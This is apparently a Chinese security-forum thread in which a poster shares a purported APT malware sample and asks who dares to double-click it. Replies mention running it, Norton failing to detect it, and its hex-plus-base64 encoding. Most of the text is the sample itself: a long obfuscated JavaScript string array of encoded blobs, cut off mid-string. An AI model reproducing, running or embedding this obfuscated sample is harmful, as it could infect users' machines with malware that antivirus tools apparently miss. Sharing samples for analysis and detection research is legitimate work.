据说是APT样本一枚，有敢死队上来双击吗？

驭龙

www-tekeze 发表于 2019-8-28 16:21
默认执行权限不够？我给权限后刷了一阵屏，但绒智没反应，也不知样本是不是成功执行了。。

不知道，这东西我是不敢实机测的

www-tekeze

驭龙 发表于 2019-8-28 16:23
不知道，这东西我是不敢实机测的

如果真是APT对环境要求很高吧，轻易有动作就容易暴露了。。。我不懂Code就是瞎玩，不怕死就行。。

BE_HC

Norton Scan MISS

内容先是十六进制加密，再用base64加密

1. var a=['WVkMS0/Dt8OOw6JI','PsOzRsOGXcKFw5U=','Y8Onw619P8KAdg==','w53Dmgs8wpTCq8O1wrkeeXHDvhnDmApxCQ/DpBXDmMKgcATCnMK8NsOwwr3Co8O/fcONw7fCh0cVcBLCmEZwb8Ojw4TDosO/YcOOD1Ahw7BjNzTDu0sI','w5NKw4gFXD/Do2LCqlAtw60=','XiTDj8KPcMOIwrcIECokBw==','JE8Hw6tDQXA3Z8K+dMOvMULCmkxfJ8KxKSlUwojDmMKEa2fCu8KnYsOYwoZ8wolTT1/CuU8OJVI+QBAwwrMqOMOTw5hpbMKjVMKRVMK2CcK2dX9LwpIEwo/DgW9lwpgaS8KRwoY5EsKCRcK1fcK2w6HCkcO8EcKlXlIsRErCgMOGwo8VZxgqcgkmIw==','JsKAw4ArUcKFaQ==','w6DCr07DmMONFMKwX3k=','wpjCsRBlLmHDu2xWwo3ColU=','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{过}F{滤}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